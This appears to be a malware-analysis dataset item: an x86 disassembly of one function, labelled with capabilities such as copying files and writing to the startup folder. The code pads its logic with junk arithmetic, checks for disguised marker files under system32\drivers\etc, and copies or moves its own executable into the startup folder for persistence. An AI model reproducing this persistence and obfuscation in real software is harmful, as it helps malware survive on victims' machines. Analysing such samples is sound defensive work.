Function at 0x40e0e0
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45e640]
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45cce4]
mov eax, 0x61494a93
imul esi
mov eax, dword [0x45ccd0]
sar edx, 0xf
mov ecx, edx
push edi
mov edi, dword [0x45cccc]
lea ebx, [eax + edi]
imul ebx, ebx, 0xb0bd
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x64e1
add ebx, edx
mov eax, 0x98dd629f
imul esi
add edx, esi
sar edx, 0xf
add ebx, edx
mov esi, edx
mov eax, 0x4e93cfed
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x10171
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, dword [0x45ccc8]
mov edi, dword [str._r_____r____]
add esi, ecx
add edx, esi
mov esi, dword [0x45ccd8]
mov dword [0x45ccdc], edx
mov edx, dword [0x45ccd4]
lea ebx, [edx + eax]
mov eax, 0x98dd629f
imul ebx, ebx, 0x3bfc
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edx, edx, 0xd65c
add ebx, edx
mov eax, 0x5cb3b92f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x79b0bfed
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, ecx
push 0
push str.C:_WINDoWS_system32driverseTc_seRvicE1.ini
mov dword [0x45cce4], eax
call fcn.0043031d
add esp, 8
cmp eax, 0xffffffff
je 0x40e6ce
push 0
push str.C:_WINDoWS_system32driverseTc_sErvIce2.ini
call fcn.0043031d
add esp, 8
cmp eax, 0xffffffff
je 0x40e6ce
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
imul esi, esi, 0x64e1
mov eax, 0x5134ce4f
imul ecx
sar edx, 0xd
add esi, edx
mov edi, edx
mov eax, 0x9aba81d9
imul ecx
add edx, ecx
sar edx, 0xf
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [0x45cce4]
mov eax, 0x4e93cfed
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x2a2d
shr esi, 0x1f
add esi, edi
sub esi, eax
add esi, edx
mov eax, 0x1fd2221d
imul ecx
sar edx, 0xd
mov eax, edx
push 0x104
lea ecx, [esp + 0x214]
shr eax, 0x1f
add esi, edx
push ecx
add eax, esi
push 0
mov dword [0x45ccc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x210]
push 0x5c
push edx
call fcn.00430d80
mov esi, eax
push str..tmp
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x20]
push str._s_s
push ecx
inc esi
call fcn.0042ff81
mov ecx, dword [0x45ccd8]
mov eax, 0x5134ce4f
imul ecx
imul ecx, ecx, 0x150d2
mov eax, dword [0x45ccc8]
sar edx, 0xd
imul eax, eax, 0xd082
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xdaea
add edi, edx
add edi, ecx
mov ecx, dword [0x45ccdc]
add edi, eax
mov eax, 0x61494a93
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esp, 0x18
sub edi, ecx
mov ecx, dword [0x45ccd0]
mov eax, 0x79b0bfed
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x45cce4]
push 0
push 0x18
lea ecx, [esp + 0x118]
sub edi, eax
push ecx
sub edi, 0x64e1
push 0
mov dword [0x45ccd0], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e364
push ebp
sub eax, ecx
push esi
lea edx, [esp + eax + 0x118]
push 0x44d20c
push edx
call fcn.0042ff81
mov esi, dword [0x45cce8]
mov edi, dword [0x45ccd4]
mov eax, 0x95af2ed3
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x98dd629f
imul edi
mov ecx, esi
imul ecx, ecx, 0x64e1
sub ebp, ecx
add edx, edi
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xd65c
sub ebp, ecx
mov ebx, dword [0x45cce0]
add ebp, edx
mov eax, 0x9aba81d9
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x8891a35
imul ebx
imul ebx, ebx, 0x3bfc
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ecx, ebx
add esp, 0xc
mov dword [0x45ccd8], ecx
xor ebx, ebx
jmp 0x40e430
mov ecx, dword [0x45ccd8]
mov edi, dword [0x45ccd4]
mov esi, dword [0x45cce8]
lea ebx, [ebx]
mov edx, dword [0x45ccd0]
imul edi, edi, 0xdaea
imul ecx, ecx, 0x10171
lea eax, [esi + edx]
mov edx, dword [0x45ccdc]
imul eax, eax, 0x86a3
imul edx, edx, 0x64e1
sub eax, edx
sub eax, edi
mov dword [esp + 0x10], eax
mov eax, 0x5cb3b92f
imul esi
mov eax, dword [esp + 0x10]
sar edx, 0xe
add eax, edx
mov esi, edx
mov edx, dword [0x45cccc]
shr esi, 0x1f
add esi, eax
mov eax, 0x79b0bfed
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
lea ecx, [esp + 0x14]
push 0
push ecx
mov dword [0x45cce0], esi
call fcn.0043031d
add esp, 8
cmp eax, 0xffffffff
je 0x40e4bc
lea edx, [esp + 0x14]
push edx
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40e418
mov ecx, dword [0x45ccd0]
mov eax, dword [0x45ccd8]
mov esi, dword [0x45cce4]
mov edi, dword [0x45ccc8]
lea ebx, [eax + ecx]
imul ecx, ecx, 0xd65c
imul ebx, ebx, 0xd3c7
mov edx, esi
imul edx, edx, 0x64e1
sub ebx, edx
mov eax, 0x98dd629f
imul edi
add edx, edi
sar edx, 0xf
add ebx, edx
mov ebp, edx
mov eax, 0x8891a35
imul edi
mov edi, dword [esp + 0x31c]
shr ebp, 0x1f
add ebp, ebx
sub ebp, ecx
sar edx, 9
add ebp, edx
mov ecx, edx
mov eax, 0x1fd2221d
imul dword [str._r_____r____]
sar edx, 0xd
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebp
add eax, edx
sub ecx, eax
test edi, edi
mov dword [0x45cce8], ecx
pop ebp
je 0x40e548
cmp edi, 2
jne 0x40e623
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call ebx
test eax, eax
jne 0x40e617
mov ecx, dword [0x45ccd4]
mov esi, dword [0x45cce8]
mov eax, 0x98dd629f
imul esi, esi, 0xdaea
imul ecx
add edx, ecx
sar edx, 0xf
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cccc]
mov eax, esi
imul eax, eax, 0xd3c7
add edi, eax
mov eax, 0x61494a93
imul ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x61494a93
imul esi
sub edi, ecx
sar edx, 0xf
mov ecx, edx
add edi, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0xd082
shr ecx, 0x1f
add ecx, edi
add ecx, edx
mov eax, 0x5cb3b92f
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
push 6
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call ebx
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042fdb1
add esp, 0x308
ret
mov esi, dword [0x45cce4]
mov ecx, dword [0x45cce8]
imul ecx, ecx, 0xdaea
imul esi, esi, 0x64e1
sub esi, ecx
mov ecx, dword [0x45ccd4]
mov eax, 0x98dd629f
imul ecx
mov eax, dword [0x45cce0]
add edx, ecx
imul eax, eax, 0xd3c7
sar edx, 0xf
add esi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, esi
add ebx, eax
mov eax, 0x4e93cfed
imul ecx
mov ecx, dword [0x45cccc]
sar edx, 0xe
add ebx, edx
mov esi, edx
mov eax, 0x8891a35
imul ecx
shr esi, 0x1f
sar edx, 9
add esi, ebx
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
sub ecx, dword [str._r_____r____]
add ecx, 0x86a3
cmp edi, 1
mov dword [0x45cccc], ecx
je 0x40e6a1
cmp edi, 2
jne 0x40e6b6
push 0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x304]
call fcn.0042fdb1
add esp, 0x308
ret
mov ecx, dword [esp + 0x310]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
call fcn.0042fdb1
add esp, 0x308
ret